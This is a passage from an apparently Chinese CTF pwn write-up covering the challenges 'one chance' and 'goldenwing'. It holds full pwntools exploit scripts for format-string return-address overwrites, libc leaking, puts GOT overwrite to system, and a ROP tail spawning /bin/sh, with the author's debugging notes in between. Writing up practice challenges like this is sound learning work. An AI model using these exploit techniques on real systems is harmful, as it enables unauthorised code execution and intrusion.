+p64(pop_ret)+ p64(pop_rdi) + p64(bin_sh) + p64(system_addr) + p64(vuln_addr) payload = payload.ljust(0x80,b'A') payload += p64(bss_addr - 0x80*2) + p64(leave_ret) sd(payload) p.interactive()
25 one chance 保护全开,有后门,用格式化字符串修改返回地址。由于buf在bss段上,还是非栈上的修改。。
由于vuln的返回地址与后门只差一个字节,只需要改一个字节的返回地址就好。
又是一场三连的修改,与where is fmt一样。但是这个只能修改一次。。
stack1偏移:6+9 = 15
stack2偏移:6+0x27 = 45
直接合一起改不过去。。。
看看提示,什么时候解析的。唔,动调看看,只看出在一个std_out函数一键输出了,其他没看出来。。
这里又call了一次
这个不知道call了什么
经历了漫长的调试,欸?
将payload1与payload2交换位置,发现它们两个的修改是同时发生的,不管怎么交换位置,修改的情况一样,,,
不应该呀,依稀记得以前的是逐个加的,回头看了一眼以前栈上逐个加的笔记,上一次的%c的个数对下一次是有影响的啊。。
再仔细想想提示,再结合动调的时候发现栈的空间变化,地址是被单独取出来的。也就是说在进入printf的时候,提取了对应位置的栈的地址。
(貌似是带$的先提取,用%号的后面一点点提取)
搜了半天参考了这个博客一次有趣的格式化字符串漏洞利用 | ZIKH26’s Blog ,发现本题是博客这个题的简化版本。
成了!
不过要注意的是,博客里用了%p,输出了9个,每次输出是10个字符,所以减了90,但是我这里由于有的是空的,就不用%p了,用了%c。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import * context(log_level='debug' ,arch='amd64' ,os='linux' ) p=remote('127.0.0.1' ,42119 ) sl = lambda s :p.sendline(s) sd = lambda s :p.send(s) rc = lambda s :p.recv(s) ru = lambda s :p.recvuntil(s) rl = lambda :p.recvline()def debug (): gdb.attach(p) pause(1 ) back_addr = 0x1210 vuln_ret_main = 0x12cf ru('0x' ) stack_addr = int (rc(12 ),16 )print (hex (stack_addr)) vuln_ret_stack = stack_addr + 0x18 offset1 = vuln_ret_stack & 0xffff print (hex (offset1)) offset2 = 0x10010 - offset1print (hex (offset2)) payload1 = '%' + str (offset1-13 ) +'c%hn' payload2 = '%' + str (offset2) + 'c%45$hhn' payload = '%c' *13 +payload1+payload2 payload = payload.ljust(0x100 ,'\x00' ) sd(payload) p.interactive()
26 goldenwing 共有4(5)个选项
1:显示状态
2:加体力和力量(只能一次)血最多+100,攻击最多加10,且只能进行一次。
3:打怪:
就是比较攻击与血量互相攻击,不截图了,胜利之后有两次格式化字符串。
4:退出
3405691582:god?写入s中,0x20个字节
发现状态比较都是无符号整数,直接用-100000增加力量和生命来打败boss
magic位于bss端上,非栈上格式化字符串
6+0x25 = 43泄露出libc地址。
按照题25的思路,第二次输入时将返回的地址改为这个success函数的对i置0的位置,从而实现不限次数的格式化字符串
1 2 3 4 5 6 7 8 stack1_addr = stack2_addr - 0 x20 stack3_addr = stack1_addr + 8 offset = stack3_addr&0 xff offset2 = 0 x1158e-offset payload = '%c' *6 +'%' +str (offset-6 )+'c%hhn' +'%' +str (offset2)+'c%12$hn' sd (payload)
从上至下:
stack1,stack3,stack2,stack4
8 9 12 13
由于leave_ret一次后rbp链会变化,即使从push开始也是。。
那,,直接回fight开始呢,试一试。可以,但是如果想要改got的话,总是动返回地址会很麻烦,刚好也有另一条三连的链,用那个更好用。
这里magic2之后才输入,但是总是接收不到,get到一个小技巧,用interactive来截断。由于4字节输入太大了会崩掉,那就分批输入。
那么可以考虑分字节输入puts的got表里,但是重复的时候也会执行puts函数,不能重调后再使用这条链,所以还是需要用到下面的三连链。。。
从上到下:7、5、6
stack5_addr:0x26+6=44
stack6_addr:0x35+6=59
stack7_addr:0x19+6=31
辛辛苦苦改成system之后,发现会卡死。。
因为改动过rbp的指向,导致不能正常回退,那就改成用read,再手调到偏转到god。
不对,最后一次的多次更改可以再加一个,把返回地址跳转走就好
这里手动修复过去,但是忘了最先开始是啥了,调一下看看。。
找到了
不能直接回到这里,这是回去后的第一个puts,要去第二个。(其实是别的问题,回到system参数错误也是没问题的)
否则:
由于rbp动歪了,导致/bin/sh字符串偏离了。。。
尝试改read,跳转,但是还是歪了。。
还是用puts改吧,至少不会因此中断程序,但是,,puts改为system后,不方便调试,每次一到对应的地方就卡断了。。
不过既然可以跳转回来再运行success,可以在这里纠正一次got。。
纠正完之后,终于本地通了。。。。。
折磨死算了。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 from pwn import* context(log_level='debug',arch='amd64',os='linux')# p =process('./goldenwing') p=remote('127.0.0.1',33395) sl = lambda s :p.sendline(s) sd = lambda s :p.send(s) rc = lambda s :p.recv(s) ru = lambda s :p.recvuntil(s) rl = lambda :p.recvline() def debug(): gdb.attach(p) pause(1) puts_got = 0x4020+0x10000 magic_addr = 0x401564 sd(b'\n') ru('?') sl('3405691582') rl() sd('/bin/sh\x00\x00') ru('?') sl('2') rl() sl('-100000') rl() sl('-100000') ru('?') sl('3')# debug () payload = '%43$p' payload = payload.ljust(8,'a') payload += '%8$p'# debug () sd(payload) ru('0x') libc_main = int(rc(12),16) offset = 0x7fa3b1e29e40 - 0x7fa3b1e00000 libc_base = libc_main-offset print(hex(libc_base)) ru('aaa') stack2_addr = int(rc(14),16) print(hex(stack2_addr)) stack1_addr = stack2_addr - 0x20 stack3_addr = stack1_addr + 8 stack4_addr = stack2_addr + 8 stack5_addr = stack1_addr - 0x10 + 0x130 stack6_addr = stack1_addr - 0x10 + 0x198 stack7_addr = stack1_addr - 0x10 + 0xc8 rbp_true = stack1_addr + 0x70 def magic(flag=1): if flag==1: offset = stack3_addr&0xffff offset2 = 0x11632-offset payload = '%c'*6+'%'+str(offset-6)+'c%hn'+'%'+str(offset2)+'c%12$hn\x00' sd(payload) if flag==2: offset = stack3_addr&0xffff offset2 = 0x11632-offset offset3 = (stack7_addr&0xffff)+0x10000-0x1632 payload = '%c'*6+'%'+str(offset-6)+'c%hn'+'%'+str(offset2)+'c%12$hn'+'%'+str(offset3)+'c%44$hn\x00' print(payload) print(hex(offset3)) print(hex(stack7_addr)) # pause () sd(payload) if flag==3: offset = stack3_addr&0xffff offset2 = 0x11632-offset offset3 = puts_got-0x1632+2 payload = '%c'*6+'%'+str(offset-6)+'c%hn'+'%'+str(offset2)+'c%12$hn'+'%'+str(offset3)+'c%59$hn\x00' sd(payload)# debug () magic(2) libc = ELF('./libc.so.6') system_offset = libc.sym['system'] puts_offset = libc.sym['puts'] system_addr = libc_base + system_offset pop_rdi = 0x000000000002a3e5 + libc_base system_12 = system_addr&0xffff system_3 = system_addr>>16&0xff print(hex(system_addr)) print(hex(system_12)) print(hex(system_3)) def puts_system(puts_got): offset = stack4_addr &0xffff offset2 = puts_got - offset payload = '%c'*6+'%'+str(offset-6)+'c%hn'+'%'+str(offset2)+'c%12$hn\x00' sd(payload)# ru ('magic2 ') p.interactive()# debug () sl('aaaa') magic(3) sleep(1) p.interactive()# debug () sleep(1) puts_system(puts_got) offset = system_12-system_3 offset_ok = 0x17bb - system_12 p.interactive()# debug () payload = '%'+str(system_3)+'c%31$hhn'+'%'+str(offset)+'c%13$hn'+ '%' + str(offset_ok) + 'c%12$hn\x00' print(hex(system_addr)) print(hex(system_12)) print(hex(system_3)) print(hex(offset))# pause () sleep(1) sd(payload)# rl () # sl ('3405691582') # sd ('/ bin / sh \x00 ') # rl () p.interactive() sl('3') offset_fi = rbp_true&0xffff payload = '%'+str(offset_fi)+'c%8$hn' p.interactive() sd(payload) p.interactive()
由于次数太多了,本地可以通,远程很难通过,跑着跑着在最后一步就崩掉了。经过崩掉了n次后,可算通了。。。
27 luosh 看不懂一点,没思路,结束。